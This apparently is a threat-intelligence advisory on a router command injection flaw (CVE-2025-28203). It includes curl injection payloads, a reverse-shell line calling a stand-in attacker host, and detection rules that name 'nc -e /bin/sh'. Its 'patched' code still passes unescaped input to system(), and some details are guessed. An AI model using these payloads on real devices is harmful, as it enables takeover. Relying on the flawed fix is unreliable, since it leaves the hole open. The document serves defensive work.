CVE-2025-28203

Executive Summary

CVE-2025-28203 is a critical command injection vulnerability discovered in the Victure RX1800 router, specifically in firmware version EN_V1.0.0_r12_110933. The vulnerability allows an unauthenticated, remote attacker to inject arbitrary operating system commands into the device's web management interface. Successful exploitation could lead to full device compromise, including data exfiltration, lateral movement within the network, and use of the device as a pivot point for further attacks. As of this report, no official patch has been released by Victure, and no public proof-of-concept (PoC) exploit code is available. The vulnerability is classified under CWE-77 (Improper Neutralization of Special Elements used in a Command).

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The exploit does not affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full read access to the device's filesystem and network traffic.
• Integrity (I): High – Full write access to the device's filesystem and configuration.
• Availability (A): High – The attacker can disrupt or completely disable the device.

Threat Level: Critical. The combination of remote, unauthenticated exploitation with full system compromise makes this a high-priority threat for any organization using the Victure RX1800.

Deep Dive & Mechanics

The Victure RX1800 router's web management interface fails to properly sanitize user-supplied input before passing it to a system shell. The vulnerability likely resides in a CGI script or endpoint that handles configuration changes, such as setting the device name, time zone, or other parameters. When a specially crafted string containing shell metacharacters (e.g., ;, |, &&, `) is submitted, the router's firmware executes the injected commands with root privileges.

Root Cause: The application uses a function like popen(), system(), or exec() to process user input without proper validation or escaping. For example, a parameter intended to set the hostname might be passed directly to a shell command like:

echo "user_input" > /etc/hostname

If user_input is ; id > /tmp/out, the command becomes:

echo "; id > /tmp/out" > /etc/hostname

This results in the id command being executed and its output written to /tmp/out.

Attack Vector: The attacker sends a crafted HTTP request to the router's web interface (typically on port 80 or 443). The request contains the malicious payload in a parameter such as hostname, timezone, or admin_password.

Impact: Full remote code execution (RCE) as root. The attacker can:

• Install persistent backdoors (e.g., reverse shell, SSH server).
• Modify firewall rules to allow further access.
• Exfiltrate sensitive data (e.g., Wi-Fi passwords, VPN credentials).
• Use the device as a bot in a DDoS network.
• Pivot to internal network hosts.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common command injection patterns.

Vulnerable Code (C-like pseudocode):

void handle_set_hostname(char *user_input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /etc/hostname", user_input);
    system(cmd);
}

Patched Code (Hypothetical):

void handle_set_hostname(char *user_input) {
    // Sanitize input: allow only alphanumeric, hyphen, and dot
    if (!is_valid_hostname(user_input)) {
        return_error("Invalid hostname");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /etc/hostname", user_input);
    system(cmd);
}

The patched version would include input validation to reject shell metacharacters and potentially use a safer API like execvp() with a fixed argument list.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Victure RX1800 router with firmware EN_V1.0.0_r12_110933.
• Network access to the router's web interface (default IP: 192.168.10.1).
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web fuzzer (e.g., Burp Suite, ffuf) to find parameters that are reflected in system commands. Common targets include:

   • /goform/setSysAdm
   • /goform/setWizard
   • /goform/setWan

2. Craft the payload: Inject a command using shell metacharacters. For example, to execute id and write output to a file:

   ; id > /tmp/pwned.txt;
   

3. Send the request: Use curl to send the malicious request:

   curl -X POST http://192.168.10.1/goform/setSysAdm \
     -d "adminName=admin&adminPassword=; id > /tmp/pwned.txt;"
   

4. Verify execution: Access the router's filesystem via another vulnerability (e.g., path traversal) or check for outbound connections.

5. Establish persistence: Deploy a reverse shell payload:

   curl -X POST http://192.168.10.1/goform/setSysAdm \
     -d "adminName=admin&adminPassword=; nc -e /bin/sh attacker.com 4444;"
   

Lab Setup:

• Use a virtualized environment with QEMU or a physical router in an isolated network.
• Set up a listener on the attacker machine: nc -lvnp 4444.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP requests: Look for unusual parameters containing shell metacharacters (;, |, &, `).
2. Analyze logs: Check router logs for unexpected command execution or file modifications.
3. Network traffic: Detect outbound connections from the router to unknown IPs on unusual ports (e.g., 4444, 1337).
4. File integrity: Monitor critical system files (e.g., /etc/passwd, /etc/shadow, /bin/busybox) for unauthorized changes.

Response Steps:

1. Isolate the device: Disconnect the router from the network immediately.
2. Factory reset: Perform a hard reset to remove any persistent backdoors.
3. Firmware reflash: If a patched firmware becomes available, reflash the device.
4. Forensic analysis: Capture a memory dump and filesystem image for further investigation.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/setSysAdm or similar endpoints containing shell metacharacters.
• Outbound connections from the router to IP addresses on non-standard ports (e.g., 4444, 1337, 31337).
• DNS queries to known malicious domains or IPs.

File System IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/pwned.txt, /tmp/.backdoor).
• Modified system binaries (e.g., /bin/busybox, /sbin/init).
• New entries in /etc/crontab or /etc/init.d/ for persistence.

Process IOCs:

• Unusual processes running as root (e.g., nc, bash, python).
• Processes with network connections to external IPs.

YARA Rule:

rule CVE_2025_28203_Command_Injection {
    meta:
        description = "Detects command injection attempts against Victure RX1800"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28203"
    strings:
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "&&"
        $shell_meta4 = "`"
        $shell_meta5 = "$("
        $http_path = "/goform/setSysAdm"
    condition:
        $http_path and any of ($shell_meta*)
}

Detection Engineering

YARA Rule (for file scanning)

rule CVE_2025_28203_Exploit_Artifacts {
    meta:
        description = "Detects artifacts from CVE-2025-28203 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $pwned_file = "/tmp/pwned.txt"
        $reverse_shell = "nc -e /bin/sh"
        $backdoor_script = "/tmp/.backdoor"
    condition:
        any of them
}

Sigma Rule (for SIEM detection)

title: CVE-2025-28203 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing shell metacharacters targeting Victure RX1800
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/setSysAdm'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: critical

Suricata Rule (for network IDS)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-28203 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/setSysAdm"; http_uri; content:";"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management: If not required, disable the web interface from the WAN side.
2. Change default credentials: Even though the vulnerability does not require authentication, changing credentials can limit other attack vectors.
3. Network segmentation: Place the router in a separate VLAN with strict firewall rules.
4. Monitor for exploitation: Deploy the provided detection rules to identify active attacks.

Long-Term Fix:

• Vendor patch: Await an official firmware update from Victure. Contact their support to expedite the process.
• Alternative firmware: If available, consider flashing open-source firmware like OpenWrt or DD-WRT (check hardware compatibility).
• Device replacement: If no patch is forthcoming, replace the router with a more secure model from a vendor with a proven security track record.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact intel@valters-it.com.